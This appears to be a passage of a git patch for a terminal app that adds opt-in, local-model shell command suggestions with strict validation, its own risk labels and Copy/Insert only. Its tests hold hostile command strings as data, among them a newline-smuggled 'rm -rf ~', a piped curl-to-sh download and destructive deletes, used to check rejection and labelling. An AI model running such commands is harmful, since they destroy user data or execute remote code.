normalizeStatusStrip(value.statusStrip), keepAwake: normalizeKeepAwakePresentation(value.keepAwake), idleVisuals: normalizeIdleVisuals(value.idleVisuals), liveActivity: normalizeLiveActivity(value.liveActivity), uiChrome: normalizeUiChrome(value.uiChrome), - sessionNotices: value.sessionNotices !== false, copy: normalizeCopy(value.copy), agentProfiles: normalizeProfiles(value.agentProfiles), agentActivity: value.agentActivity !== false, commandQueue: value.commandQueue !== false, queueFailurePolicy: value.queueFailurePolicy === 'continue' ? 'continue' as const : 'pause' as const, queue: normalizeQueuePresentation(value.queue), workspacePanels: value.workspacePanels === true, askRecord: value.askRecord !== false, askPresentation: value.askPresentation === 'normal' ? 'normal' as const : 'chat' as const, + sessionNotices: value.sessionNotices !== false, copy: normalizeCopy(value.copy), agentProfiles: normalizeProfiles(value.agentProfiles), agentActivity: value.agentActivity !== false, commandQueue: value.commandQueue !== false, queueFailurePolicy: value.queueFailurePolicy === 'continue' ? 'continue' as const : 'pause' as const, queue: normalizeQueuePresentation(value.queue), workspacePanels: value.workspacePanels === true, askRecord: value.askRecord !== false, askCommandSuggestions: value.askCommandSuggestions === 'local' ? 'local' as const : 'off' as const, askPresentation: value.askPresentation === 'normal' ? 'normal' as const : 'chat' as const, localUnderstanding: normalizeLocalUnderstanding(value.localUnderstanding), shellBackend: isShellId(value.shellBackend) ? value.shellBackend : 'zsh', openWith: OPEN_WITH_IDS.includes(value.openWith as OpenWith) ? value.openWith as OpenWith : 'auto', diff --git a/src/ui/SettingsPanel.ts b/src/ui/SettingsPanel.ts index 4a551602..3fa7f536 100644 --- a/src/ui/SettingsPanel.ts +++ b/src/ui/SettingsPanel.ts @@ -5,7 +5,7 @@ import {OPEN_WITH_IDS} from '../host/HostActions.js'; import {TREATMENT_PRESETS, TREATMENT_PRESET_LABELS, TREATMENT_GEOMETRIES, TREATMENT_GEOMETRY_LABELS, TREATMENT_MOTIONS, TREATMENT_MOTION_LABELS, TREATMENT_SPEEDS, TREATMENT_SPEED_LABELS, TREATMENT_INFLUENCES, treatmentInfluence, SEMANTIC_MODES, SEMANTIC_MODE_LABELS, TREATMENT_SCOPES, TREATMENT_SCOPE_LABELS, TREATMENT_CURVES, TREATMENT_CURVE_LABELS, DIVIDER_LINES_HELP, dividerLinesLabel, PRESET_STOPS} from '../chroma/treatment.js'; import {historicalPromptLevel} from '../output/TranscriptPanel.js'; -import {STRIP_EDGES, STRIP_SEPARATORS, STRIP_STYLES, STRIP_ZONES, PANEL_POSITIONS, DIVIDER_COLOR_LABELS, DIVIDER_COLOR_MODES, NATIVE_PALETTE_IDS, CURSOR_BLINKS, CURSOR_SHAPES, IDLE_COLOR_LABELS, IDLE_COLOR_SOURCES, IDLE_TIMEOUTS, ACTIVITY_STYLES, ACTIVITY_STYLE_LABELS, LIVE_ACTIVITY_COLORS, LIVE_ACTIVITY_COLOR_LABELS, RAM_DISPLAYS, LOCAL_UNDERSTANDING_LABELS, LOCAL_UNDERSTANDING_MODES, SHELL_MODULE_VISIBILITY, SHELL_MODULE_VISIBILITY_LABELS, applyShellModuleVisibility, shellModuleVisibility, type StatusStripSettings} from '../prompt/configuration.js'; +import {STRIP_EDGES, STRIP_SEPARATORS, STRIP_STYLES, STRIP_ZONES, PANEL_POSITIONS, DIVIDER_COLOR_LABELS, DIVIDER_COLOR_MODES, NATIVE_PALETTE_IDS, CURSOR_BLINKS, CURSOR_SHAPES, IDLE_COLOR_LABELS, IDLE_COLOR_SOURCES, IDLE_TIMEOUTS, ACTIVITY_STYLES, ACTIVITY_STYLE_LABELS, LIVE_ACTIVITY_COLORS, LIVE_ACTIVITY_COLOR_LABELS, RAM_DISPLAYS, ASK_COMMAND_SUGGESTIONS, LOCAL_UNDERSTANDING_LABELS, LOCAL_UNDERSTANDING_MODES, SHELL_MODULE_VISIBILITY, SHELL_MODULE_VISIBILITY_LABELS, applyShellModuleVisibility, shellModuleVisibility, type StatusStripSettings} from '../prompt/configuration.js'; import {IDLE_MODES, IDLE_MODE_LABELS} from '../idle/scenes.js'; import {MOTION_LABELS, MOTION_RENDERING_ITEM, MOTION_ROWS, MOTION_TUNING_ITEMS, type MotionItem} from '../motion/motionRows.js'; import {NATIVE_PROMPT_THEMES} from '../prompt/prompt.js'; @@ -482,6 +482,9 @@ export const SETTINGS_ROWS: readonly SettingsRow[] = [ }}), {id: 'askRecord', label: 'Record Ask in transcript', description: 'Keep Ask questions and replies with this session\'s transcript; commands or actions you approve still follow their normal history rules', category: 'Ask', control: 'boolean', get: config => config.askRecord, set: (config, askRecord) => ({...config, askRecord})}, + enumRow({id: 'askCommandSuggestions', label: 'Command suggestions', description: 'When Ask cannot place a request, suggest one shell command from your local model (/llm). You check it, then copy or insert it; NMSh never runs it', category: 'Ask', + values: ASK_COMMAND_SUGGESTIONS, labels: ['Off', 'Local model'], + get: config => config.askCommandSuggestions, set: (config, askCommandSuggestions) => ({...config, askCommandSuggestions})}), enumRow({id: 'askPresentation', label: 'Ask presentation', description: 'Chat puts your Ask turns on the right; Normal keeps both sides on the left. The transcript keeps its own presentation', category: 'Ask', values: ASK_PRESENTATIONS, labels: ASK_PRESENTATIONS.map(mode => ASK_PRESENTATION_LABELS[mode]), get: config => config.askPresentation, set: (config, askPresentation) => ({...config, askPresentation})}), @@ -718,7 +721,7 @@ const CONFIG_ORDER: readonly string[] = [ 'sessionNotices', 'terminalTitle', 'agentActivity', 'notifications', 'shellBackend', 'welcome', 'suggestions', 'history', 'picker', 'navigation', 'tools', 'toolUpdateChecks', 'installSuggestions', 'localUnderstanding', - 'askRecord', 'askPresentation', 'outputFolding', 'semanticOutput', + 'askRecord', 'askPresentation', 'askCommandSuggestions', 'outputFolding', 'semanticOutput', ]; const groupRank = (row: SettingsRow) => CONFIG_GROUPS.indexOf(configGroup(row)); /** Sort key: group, the root's place in CONFIG_ORDER, the root's own position, then the row's (so a child stays under its parent). */ diff --git a/src/understanding/LocalUnderstanding.ts b/src/understanding/LocalUnderstanding.ts index 1652e815..33031f39 100644 --- a/src/understanding/LocalUnderstanding.ts +++ b/src/understanding/LocalUnderstanding.ts @@ -2,7 +2,7 @@ import type {Reasoning} from './runtimes.js'; import type {LocalUnderstandingSettings} from '../prompt/configuration.js'; import {discoverLocal, systemDiscoveryAdapters, type DiscoveryAdapters, type FoundModel, type FoundRuntime} from './discovery.js'; import {ModelClient, type ModelStatus} from './ModelClient.js'; -import {validateFoldHint, validateInterpretation, type FoldHint, type FoldRequest, type IntentInterpretation, type IntentRequest} from './tasks.js'; +import {validateCommandSuggestion, validateFoldHint, validateInterpretation, type CommandRequest, type CommandSuggestion, type FoldHint, type FoldRequest, type IntentInterpretation, type IntentRequest} from './tasks.js'; export type UnderstandingScope = 'ask' | 'folding'; export const SCOPE_LABELS: Record<UnderstandingScope, string> = {ask: 'Ask', folding: 'Smart Folding'}; @@ -62,6 +62,31 @@ export class LocalUnderstanding { } finally { this.activeSince = undefined; } } + /** + * One suggested shell command for an Ask request (#432), only when command suggestions are set to the local model + * and a model is chosen. The request carries the text, the shell and the OS family only. Returns the validated + * suggestion, null when the model declined, or a reason it could not be asked; never a command NMSh runs. + */ + async suggestCommand(request: CommandRequest): Promise<{suggestion: CommandSuggestion | null} | {unavailable: string}> { + const settings = this.settings(); + if (settings.mode === 'off') return {unavailable: 'Command suggestions use your local model, and local understanding is Off. Turn it on in /llm.'}; + if (!settings.model) return {unavailable: 'Command suggestions use your local model, and none is chosen yet. Choose one in /llm.'}; + this.requests += 1; + this.activeSince = Date.now(); + try { + const client = this.connection(); + const output = await client.infer('command', request, {priority: 'interactive', mode: settings.mode, model: settings.model, timeoutMs: 20_000, reasoning: 'fast'}); + if (output === undefined) { + return {unavailable: client.protocol !== undefined && !client.features.has('command') + ? 'The local model service was started by an older NMSh and cannot suggest commands; it restarts on its own once idle.' + : 'The local model did not answer in time.'}; + } + const suggestion = validateCommandSuggestion(output); + this.lastInference = {label: 'Ask command suggestion · non-thinking', at: Date.now(), ok: suggestion !== undefined}; + return suggestion === undefined ? {unavailable: 'The local model\'s answer was not a single plain command; nothing is shown.'} : {suggestion}; + } finally { this.activeSince = undefined; } + } + /** Unload the shared model now; it loads again on next use. */ async stopModel(): Promise<boolean> { if (!this.client) return false; diff --git a/src/understanding/ModelClient.ts b/src/understanding/ModelClient.ts index 5d5f7ec9..22a24f99 100644 --- a/src/understanding/ModelClient.ts +++ b/src/understanding/ModelClient.ts @@ -6,7 +6,7 @@ import {fileURLToPath} from 'node:url'; import {defaultRuntimeDir, ensurePrivateRuntimeDir, RUNTIME_DIR_ENV} from '../session/runtimeDir.js'; import type {LocalModelChoice, LocalUnderstandingMode} from '../prompt/configuration.js'; import {lineChannel, MODEL_PROTOCOL, modelSocketPath, type ClientMessage, type Priority, type ServiceMessage} from './ModelService.js'; -import type {FoldRequest, IntentRequest} from './tasks.js'; +import type {CommandRequest, FoldRequest, IntentRequest} from './tasks.js'; export interface ModelStatus {state: string; model?: string; runtime?: string; clients: number; queued: number; error?: string} @@ -23,6 +23,8 @@ export class ModelClient { private readonly pending = new Map<number, (message: ServiceMessage | undefined) => void>(); /** Protocol of the connected service; a different one is never spoken to. */ protocol?: number; + /** What the connected service says it can do (an older service lacks newer tasks, such as 'command'). */ + features: ReadonlySet<string> = new Set(); constructor(private readonly socketPath = modelSocketPath(defaultRuntimeDir()), private readonly start: () => void = startModelService) {} @@ -38,7 +40,7 @@ export class ModelClient { this.socket = socket; this.send = lineChannel(socket, message => this.receive(message as ServiceMessage)); socket.on('close', () => { - this.socket = undefined; this.send = undefined; this.protocol = undefined; + this.socket = undefined; this.send = undefined; this.protocol = undefined; this.features = new Set(); for (const resolveRequest of this.pending.values()) resolveRequest(undefined); this.pending.clear(); }); @@ -49,13 +51,31 @@ export class ModelClient { } private receive(message: ServiceMessage): void { - if (message.type === 'welcome') { this.protocol = message.protocol; return; } + if (message.type === 'welcome') { + this.protocol = message.protocol; + this.features = new Set(message.features ?? []); + for (const done of this.welcomeWaiters.splice(0)) done(); + return; + } const resolveRequest = this.pending.get(message.id); if (!resolveRequest) return; this.pending.delete(message.id); resolveRequest(message); } + private welcomeWaiters: Array<() => void> = []; + + /** Whether the service's welcome has arrived, waiting at most timeoutMs for it. */ + private welcomed(timeoutMs: number): Promise<boolean> { + if (this.protocol !== undefined) return Promise.resolve(true); + return new Promise(resolve => { + const timer = setTimeout(() => { this.welcomeWaiters = this.welcomeWaiters.filter(item => item !== done); resolve(false); }, timeoutMs); + timer.unref?.(); + const done = () => { clearTimeout(timer); resolve(true); }; + this.welcomeWaiters.push(done); + }); + } + /** Connect, starting the one service if none answers; concurrent windows race safely (one binds, the rest connect). */ async ensure(): Promise<boolean> { if (this.socket) return true; @@ -84,8 +104,12 @@ export class ModelClient { async infer(task: 'intent', input: IntentRequest, options: {priority: Priority; mode: LocalUnderstandingMode; model: LocalModelChoice; timeoutMs: number; reasoning?: Reasoning}): Promise<unknown>; async infer(task: 'fold', input: FoldRequest, options: {priority: Priority; mode: LocalUnderstandingMode; model: LocalModelChoice; timeoutMs: number; reasoning?: Reasoning}): Promise<unknown>; - async infer(task: 'intent' | 'fold', input: IntentRequest | FoldRequest, options: {priority: Priority; mode: LocalUnderstandingMode; model: LocalModelChoice; timeoutMs: number; reasoning?: Reasoning}): Promise<unknown> { + async infer(task: 'command', input: CommandRequest, options: {priority: Priority; mode: LocalUnderstandingMode; model: LocalModelChoice; timeoutMs: number; reasoning?: Reasoning}): Promise<unknown>; + async infer(task: 'intent' | 'fold' | 'command', input: IntentRequest | FoldRequest | CommandRequest, options: {priority: Priority; mode: LocalUnderstandingMode; model: LocalModelChoice; timeoutMs: number; reasoning?: Reasoning}): Promise<unknown> { if (!(await this.ensure()) || (this.protocol !== undefined && this.protocol !== MODEL_PROTOCOL)) return undefined; + // A service started by an older NMSh does not know newer tasks; it is never sent one. Its welcome (sent right + // after connecting) says which it knows. + if (task === 'command' && (!(await this.welcomed(1500)) || !this.features.has('command'))) return undefined; const reply = await this.request({type: 'infer', task, input, priority: options.priority, mode: options.mode, model: options.model, ...(options.reasoning ? {reasoning: options.reasoning} : {})} as never, options.timeoutMs); if (reply?.type === 'result' && reply.ok) { this.lastReasoning = reply.reasoning ?? 'fast'; return reply.output; } return undefined; diff --git a/src/understanding/ModelService.ts b/src/understanding/ModelService.ts index c89d4b6f..82297a54 100644 --- a/src/understanding/ModelService.ts +++ b/src/understanding/ModelService.ts @@ -3,7 +3,7 @@ import {connect, createServer, type Server, type Socket} from 'node:net'; import {join} from 'node:path'; import type {LocalModelChoice, LocalUnderstandingMode} from '../prompt/configuration.js'; import {isQwen3, type ModelRuntime, type Reasoning} from './runtimes.js'; -import {foldPrompt, FOLD_SCHEMA, intentPrompt, INTENT_SCHEMA, type FoldRequest, type IntentRequest} from './tasks.js'; +import {commandPrompt, COMMAND_SCHEMA, foldPrompt, FOLD_SCHEMA, intentPrompt, INTENT_SCHEMA, type CommandRequest, type FoldRequest, type IntentRequest} from './tasks.js'; /** * The user-global local model service. Every NMSh window is a client of one @@ -13,7 +13,7 @@ import {foldPrompt, FOLD_SCHEMA, intentPrompt, INTENT_SCHEMA, type FoldRequest, * per-window context between requests. */ export const MODEL_PROTOCOL = 1; -export const MODEL_FEATURES = ['intent', 'fold', 'status'] as const; +export const MODEL_FEATURES = ['intent', 'fold', 'status', 'command'] as const; export const modelSocketPath = (runtimeDir: string) => join(runtimeDir, `nmsh-model-v${MODEL_PROTOCOL}.sock`); export type Priority = 'interactive' | 'diagnostic' | 'background'; @@ -24,6 +24,8 @@ export type ClientMessage = | {type: 'hello'; protocol: number} | {type: 'infer'; id: number; priority: Priority; task: 'intent'; input: IntentRequest; mode: LocalUnderstandingMode; model: LocalModelChoice; reasoning?: Reasoning} | {type: 'infer'; id: number; priority: Priority; task: 'fold'; input: FoldRequest; mode: LocalUnderstandingMode; model: LocalModelChoice; reasoning?: Reasoning} + /** #432: one suggested shell command; only to services that advertise 'command'. */ + | {type: 'infer'; id: number; priority: Priority; task: 'command'; input: CommandRequest; mode: LocalUnderstandingMode; model: LocalModelChoice; reasoning?: Reasoning} | {type: 'status'; id: number} | {type: 'configure'; mode: LocalUnderstandingMode; model?: LocalModelChoice} /** Unload the model now (it loads again on next use); queued work still finishes first. */ @@ -49,10 +51,10 @@ export interface ModelServiceOptions { now?: () => number; } -interface Job {client: Client; id: number; priority: Priority; task: 'intent' | 'fold'; input: unknown; model: LocalModelChoice; enqueued: number; reasoning: Reasoning} +interface Job {client: Client; id: number; priority: Priority; task: 'intent' | 'fold' | 'command'; input: unknown; model: LocalModelChoice; enqueued: number; reasoning: Reasoning} interface Client {send: (message: ServiceMessage) => void} -const TOKEN_BUDGET = {intent: 160, fold: 40} as const; +const TOKEN_BUDGET = {intent: 160, fold: 40, command: 220} as const; /** A bounded thinking pass: room for brief reasoning plus the JSON answer, never open-ended. */ const THINKING_BUDGET = 640; @@ -143,10 +145,10 @@ export class ModelService { const runtime = await this.ensureLoaded(job.model); this.state = 'busy'; const signal = AbortSignal.timeout(this.requestTimeoutMs); - const prompt = job.task === 'intent' ? intentPrompt(job.input as IntentRequest) : foldPrompt(job.input as FoldRequest); + const prompt = job.task === 'intent' ? intentPrompt(job.input as IntentRequest) : job.task === 'command' ? commandPrompt(job.input as CommandRequest) : foldPrompt(job.input as FoldRequest); // Only llama.cpp gets the explicit Qwen3 template; other runtimes apply their own and stay non-thinking. if (job.reasoning === 'thinking' && job.model.runtime !== 'llama.cpp') job.reasoning = 'fast'; - const output = await runtime.infer(prompt, job.task === 'intent' ? INTENT_SCHEMA : FOLD_SCHEMA, job.reasoning === 'thinking' ? THINKING_BUDGET : TOKEN_BUDGET[job.task], signal, + const output = await runtime.infer(prompt, job.task === 'intent' ? INTENT_SCHEMA : job.task === 'command' ? COMMAND_SCHEMA : FOLD_SCHEMA, job.reasoning === 'thinking' ? THINKING_BUDGET : TOKEN_BUDGET[job.task], signal, {reasoning: job.reasoning, qwen3: isQwen3(job.model)}); this.state = 'ready'; job.client.send({type: 'result', id: job.id, ok: true, output, reasoning: job.reasoning}); diff --git a/src/understanding/tasks.ts b/src/understanding/tasks.ts index 293c6fcc..47cf2005 100644 --- a/src/understanding/tasks.ts +++ b/src/understanding/tasks.ts @@ -125,3 +125,50 @@ export function foldExcerpt(command: string, output: string, exitCode: number, l const picked = all.length <= lines * 2 ? all : [...all.slice(0, lines), `… ${all.length - lines * 2} lines …`, ...all.slice(-lines)]; return {command: program.slice(0, 60), exitCode, lines: picked.map(line => redact(line).slice(0, width))}; } + +/** + * #432: one shell command for a request typed in Ask, from the person's own local model, only when they turned + * command suggestions on. The model gets the request text, the shell and the OS family: never files, environment, + * history, the transcript or any output. It returns data; NMSh validates it, labels its risk itself, and offers + * Copy or Insert. Nothing it returns is ever run by NMSh. + */ +export interface CommandRequest {text: string; shell: 'zsh' | 'bash' | 'fish'; os: 'macOS' | 'Linux'} +export interface CommandSuggestion {command: string; explanation: string} + +const MAX_COMMAND = 1024; +const MAX_EXPLANATION = 300; +/** Controls, escape sequences, and invisible format characters (bidi overrides and the like) are never accepted. */ +const UNSAFE_TEXT = /[\u0000-\u001f\u007f-\u009f\p{Cf}\u2028\u2029]/u; + +export const COMMAND_SCHEMA = { + type: 'object', additionalProperties: false, required: ['command', 'explanation'], + properties: {command: {type: ['string', 'null'], maxLength: MAX_COMMAND}, explanation: {type: 'string', maxLength: MAX_EXPLANATION}}, +} as const; + +/** + * Strict: one plain line of at most 1 KiB and a short plain explanation, or `command: null` (the model declines). + * A second line, an escape sequence, an invisible character, an extra field (a "risk" the model claims) or anything + * oversized rejects the whole answer. Returns null when the model declined, undefined when the answer is unusable. + */ +export function validateCommandSuggestion(raw: unknown): CommandSuggestion | null | undefined { + if (!raw || typeof raw !== 'object' || Array.isArray(raw)) return undefined; + const value = raw as Record<string, unknown>; + if (!exactKeys(value, ['command', 'explanation'], ['command', 'explanation'])) return undefined; + if (typeof value.explanation !== 'string' || value.explanation.length > MAX_EXPLANATION || UNSAFE_TEXT.test(value.explanation)) return undefined; + if (value.command === null) return null; + if (typeof value.command !== 'string' || value.command.length > MAX_COMMAND || UNSAFE_TEXT.test(value.command)) return undefined; + const command = value.command.trim(); + if (!command) return undefined; + return {command, explanation: value.explanation.trim()}; +} + +export function commandPrompt(request: CommandRequest): string { + const text = request.text.replace(/[\u0000-\u001f\u007f-\u009f]+/gu, '').slice(0, MAX_TEXT); + return [ + `You turn a terminal user's request into ONE shell command for ${request.shell} on ${request.os}. Reply with JSON only: ` + + '{"command": "...", "explanation": "one short sentence"}.', + 'If no single command does it, or you are not sure, reply {"command": null, "explanation": "why"}.', + 'One line only. Prefer read-only commands. Do not use sudo unless the request asks for it. No comments.', + `Request: ${text}`, + ].join('\n\n'); +} diff --git a/tests/askCommandSuggestions.test.ts b/tests/askCommandSuggestions.test.ts new file mode 100644 index 00000000..13fa069e --- /dev/null +++ b/tests/askCommandSuggestions.test.ts @@ -0,0 +1,113 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {commandPrompt, COMMAND_SCHEMA, validateCommandSuggestion} from '../src/understanding/tasks.js'; +import {suggestionBlock} from '../src/ask/commandSuggestions.js'; +import {normalizePromptConfiguration} from '../src/prompt/configuration.js'; +import {mkdtempSync, rmSync} from 'node:fs'; +import {createServer} from 'node:net'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {lineChannel, MODEL_PROTOCOL, ModelService, modelSocketPath, serveModelService} from '../src/understanding/ModelService.js'; +import {ModelClient} from '../src/understanding/ModelClient.js'; +import type {ModelRuntime} from '../src/understanding/runtimes.js'; +import type {LocalModelChoice} from '../src/prompt/configuration.js'; + +/** + * #432 (decision D2, first slice: the local model only). A request typed in Ask that Ask's own resolver cannot place + * may get one suggested shell command from the person's local model, if they turned suggestions on. The model returns + * data only; NMSh validates it strictly, labels its risk itself, and offers Copy or Insert. Nothing ever runs. + */ + +test('validation: one plain line and a short explanation, or an honest "no command"; anything else is rejected', () => { + assert.deepEqual(validateCommandSuggestion({command: 'find . -type f -size +100M -mtime -7', explanation: 'Large files changed this week.'}), + {command: 'find . -type f -size +100M -mtime -7', explanation: 'Large files changed this week.'}); + assert.equal(validateCommandSuggestion({command: null, explanation: 'No single command does that.'}), null, 'the model may decline'); + const rejected: unknown[] = [ + undefined, null, 'ls', [], {}, {command: 'ls'}, {explanation: 'x'}, + {command: 'ls', explanation: 'x', risk: 'read'}, // extra fields (risk is NMSh's to judge) + {command: 'ls\nrm -rf ~', explanation: 'x'}, // a second command after a newline + {command: 'ls\r', explanation: 'x'}, + {command: 'echo \u001b[31mred', explanation: 'x'}, // escape sequences + {command: 'ls ‮/etc', explanation: 'x'}, // bidi override + {command: 'ls\u0007', explanation: 'x'}, + {command: ' ', explanation: 'x'}, + {command: 'x'.repeat(1025), explanation: 'x'}, + {command: 'ls', explanation: 'y'.repeat(301)}, + {command: 'ls', explanation: 'line\nbreak'}, + {command: 42, explanation: 'x'}, + ]; + for (const raw of rejected) assert.equal(validateCommandSuggestion(raw), undefined, JSON.stringify(raw)); + assert.deepEqual(COMMAND_SCHEMA.required, ['command', 'explanation']); + assert.equal(COMMAND_SCHEMA.additionalProperties, false); +}); + +test('prompt: only the request, the shell and the OS family; never files, environment, history or output', () => { + const prompt = commandPrompt({text: 'find big files\u0000 changed this week', shell: 'zsh', os: 'macOS'}); + assert.match(prompt, /ONE shell command for zsh on macOS/u); + assert.match(prompt, /Request: find big files changed this week/u, 'control characters are removed'); + assert.match(prompt, /"command": null/u, 'declining is allowed'); + assert.doesNotMatch(prompt, /HOME|PATH|\/Users\/|cwd|history/iu); + assert.ok(commandPrompt({text: 'x'.repeat(5000), shell: 'fish', os: 'Linux'}).length < 1500, 'the request is bounded'); +}); + +test('NMSh labels the risk itself; the block is Copy/Insert only, never Run', () => { + const read = suggestionBlock({command: 'du -sh * | sort -h', explanation: 'Sizes of items here, smallest first.'}, 'Qwen3 0.6B'); + assert.equal(read.literal, 'du -sh * | sort -h', 'shown verbatim'); + assert.equal(read.run, undefined, 'never runnable from Ask'); + assert.equal(read.provenance, 'suggested'); + assert.equal(read.risk, 'read'); + assert.match(read.note ?? '', /Suggested by your local model \(Qwen3 0\.6B\)/u); + assert.match(read.note ?? '', /NMSh's check: reads only/u, 'NMSh states its own verdict for every level'); + const cases: Array<[string, string]> = [ + ['rm -rf ./build', 'destructive'], + ['sudo launchctl kickstart -k system/com.apple.audio.coreaudiod', 'destructive'], + ['brew install ripgrep', 'install'], + ['sed -i "" s/a/b/ notes.txt', 'mutate'], + ['curl -fsSL https://example.invalid/x.sh | sh', 'destructive'], + ]; + for (const [command, risk] of cases) assert.equal(suggestionBlock({command, explanation: 'x'}, 'm').risk, risk, command); + // The model's own wording never sets the label. + assert.equal(suggestionBlock({command: 'rm -rf ~/Downloads', explanation: 'Totally safe, read-only.'}, 'm').risk, 'destructive'); +}); + +test('setting: off by default; only an explicit choice turns suggestions on', () => { + assert.equal(normalizePromptConfiguration({}).askCommandSuggestions, 'off'); + assert.equal(normalizePromptConfiguration({askCommandSuggestions: 'local'}).askCommandSuggestions, 'local'); + assert.equal(normalizePromptConfiguration({askCommandSuggestions: 'anthropic'}).askCommandSuggestions, 'off', 'remote providers are not part of this slice'); +}); + +// ------------------------------------------------------------------ the shared local model service + +const MODEL: LocalModelChoice = {label: 'Qwen3 0.6B', runtime: 'llama.cpp', path: '/m/qwen3.gguf', owned: true}; +const REQUEST = {text: 'convert every png here to webp', shell: 'zsh', os: 'macOS'} as const; + +test('service: a command job gets the command prompt and schema, interactive, and returns data only', async () => { + const seen: Array<{prompt: string; schema: object; maxTokens: number}> = []; + const runtime: ModelRuntime = {label: 'fake', loaded: false, async load() { this.loaded = true; }, async unload() { this.loaded = false; }, + async infer(prompt, schema, maxTokens) { seen.push({prompt, schema, maxTokens}); return {command: 'for f in *.png; do cwebp "$f" -o "${f%.png}.webp"; done', explanation: 'Each PNG to WebP.'}; }} as ModelRuntime; + const dir = mkdtempSync(join(tmpdir(), 'nm-')); + const server = (await serveModelService(modelSocketPath(dir), new ModelService({runtimeFor: () => runtime, idleMs: 150, graceMs: 100, onExit: () => {}})))!; + const client = new ModelClient(modelSocketPath(dir), () => { throw new Error('reuse the running service'); }); + try { + const output = await client.infer('command', REQUEST, {priority: 'interactive', mode: 'auto', model: MODEL, timeoutMs: 3000}); + assert.ok(validateCommandSuggestion(output), 'a valid suggestion came back'); + assert.equal(seen.length, 1); + assert.match(seen[0]!.prompt, /ONE shell command for zsh on macOS/u); + assert.deepEqual(seen[0]!.schema, COMMAND_SCHEMA); + } finally { client.close(); server.close(); rmSync(dir, {recursive: true, force: true}); } +}); + +test('service: a service started by an older NMSh (no "command" in its welcome) is never sent a command job', async () => { + const dir = mkdtempSync(join(tmpdir(), 'nm-')); + const received: unknown[] = []; + const server = createServer(socket => { + const send = lineChannel(socket, message => received.push(message)); + send({type: 'welcome', protocol: MODEL_PROTOCOL, features: ['intent', 'fold', 'status']}); + }); + await new Promise<void>(resolve => server.listen(modelSocketPath(dir), resolve)); + const client = new ModelClient(modelSocketPath(dir), () => { throw new Error('reuse the running service'); }); + try { + assert.equal(await client.infer('command', REQUEST, {priority: 'interactive', mode: 'auto', model: MODEL, timeoutMs: 1000}), undefined); + assert.ok(!received.some(message => (message as {type?: string}).type === 'infer'), 'nothing was sent but the hello'); + } finally { client.close(); server.close(); rmSync(dir, {recursive: true, force: true}); } +}); diff --git a/tests/askCommandSuggestionsApp.test.ts b/tests/askCommandSuggestionsApp.test.ts new file mode 100644 index 00000000..bf705507 --- /dev/null +++ b/tests/askCommandSuggestionsApp.test.ts @@ -0,0 +1,97 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {createAskState} from '../src/ask/AskPanel.js'; +import type {CommandRequest} from '../src/understanding/tasks.js'; +import {executionFrameFixture} from './support/executionTimelineFrames.js'; + +/** + * #432 through the real TerminalApp: Ask's own resolver first; only a request it cannot place reaches the person's + * local model, only when command suggestions are on; the model receives the request, the shell and the OS family; + * the suggestion is Copy/Insert only and Insert never runs it. The model is a stub; no shell is started. + */ + +function fixture() { + const frame = executionFrameFixture(120, 40); + const app = frame.app; + const calls: CommandRequest[] = []; + let reply: Awaited<ReturnType<typeof app['understanding']['suggestCommand']>> = {suggestion: {command: 'find . -type f -size +100M', explanation: 'Files over 100 MB here.'}}; + app['understanding'].suggestCommand = async (request: CommandRequest) => { calls.push(request); return reply; }; + app['understanding'].interpretAsk = async () => undefined; + app['configuration'] = {...app['configuration'], localUnderstanding: {mode: 'auto', ask: true, folding: false, + model: {label: 'Qwen3 0.6B', runtime: 'llama.cpp', path: '/m.gguf', owned: true}}}; + const state = createAskState(); + app['askState'] = state; + const ask = (text: string) => app['resolveAsk'](text, state); + return {...frame, app, calls, state, ask, setReply: (value: typeof reply) => { reply = value; }, + enable: () => { app['promptConfiguration'] = {...app['promptConfiguration'], askCommandSuggestions: 'local'}; }}; +} + +const VAGUE = 'flibbertigibbet the wibble'; + +test('off (the default): Ask never asks the model for a command', async () => { + const f = fixture(); + try { + assert.equal(f.app['promptConfiguration'].askCommandSuggestions, 'off'); + const outcome = await f.ask(VAGUE); + assert.equal(outcome.kind, 'unclear'); + assert.deepEqual(f.calls, []); + } finally { f.dispose(); } +}); + +test('on: only what Ask cannot place reaches the model, with the request, shell and OS family only', async () => { + const f = fixture(); + try { + f.enable(); + assert.equal((await f.ask('what shell am i using')).kind, 'answer'); + assert.deepEqual(f.calls, [], 'a request Ask answers itself never reaches the model'); + assert.equal((await f.ask('delete all my files')).kind, 'unsafe'); + assert.deepEqual(f.calls, [], 'a refusal stands; it is never routed around through the model'); + const outcome = await f.ask('convert every png here to webp'); + assert.equal(f.calls.length, 1); + assert.deepEqual(Object.keys(f.calls[0]!).sort(), ['os', 'shell', 'text'], 'nothing else is sent: no files, environment, history or output'); + assert.equal(f.calls[0]!.text, 'convert every png here to webp'); + assert.ok(outcome.kind === 'answer' && outcome.block); + assert.equal(outcome.block.literal, 'find . -type f -size +100M'); + assert.equal(outcome.block.run, undefined, 'never runnable from Ask'); + assert.equal(outcome.block.risk, 'read', 'labelled by NMSh'); + assert.match(outcome.block.note ?? '', /Suggested by your local model \(Qwen3 0\.6B\)/u); + } finally { f.dispose(); } +}); + +test('Insert puts the suggestion in the composer, unsent; Copy never runs it either', async () => { + const f = fixture(); + try { + f.enable(); + const outcome = await f.ask(VAGUE); + assert.ok(outcome.kind === 'answer' && outcome.block); + // CaptureSession throws on submit or write: reaching the end means nothing ran. + await f.app['handleAskEvent']({kind: 'insert', block: outcome.block}); + assert.equal(f.app['editor'].text, 'find . -type f -size +100M'); + assert.equal(f.app['askState'], undefined, 'Ask is parked; /ask reopens it'); + } finally { f.dispose(); } +}); + +test('no suggestion: a declined request keeps Ask\'s own answer; an unavailable model says why', async () => { + const f = fixture(); + try { + f.enable(); + f.setReply({suggestion: null}); + assert.equal((await f.ask(VAGUE)).kind, 'unclear', 'the model declined: nothing invented'); + f.setReply({unavailable: 'Command suggestions use your local model, and local understanding is Off. Turn it on in /llm.'}); + const outcome = await f.ask(VAGUE); + assert.ok(outcome.kind === 'answer'); + assert.match(outcome.text, /local understanding is Off/u); + assert.equal(outcome.block, undefined); + assert.ok(outcome.next?.length, 'what Ask can help with is still offered'); + } finally { f.dispose(); } +}); + +test('a closed Ask never asks the model', async () => { + const f = fixture(); + try { + f.enable(); + f.app['askState'] = undefined; + await f.ask(VAGUE); + assert.deepEqual(f.calls, []); + } finally { f.dispose(); } +}); From 103b1e9ce8897ff36545e36d480165c5c45a3951 Mon Sep 17 00:00:00 2001 From: raiseCatError 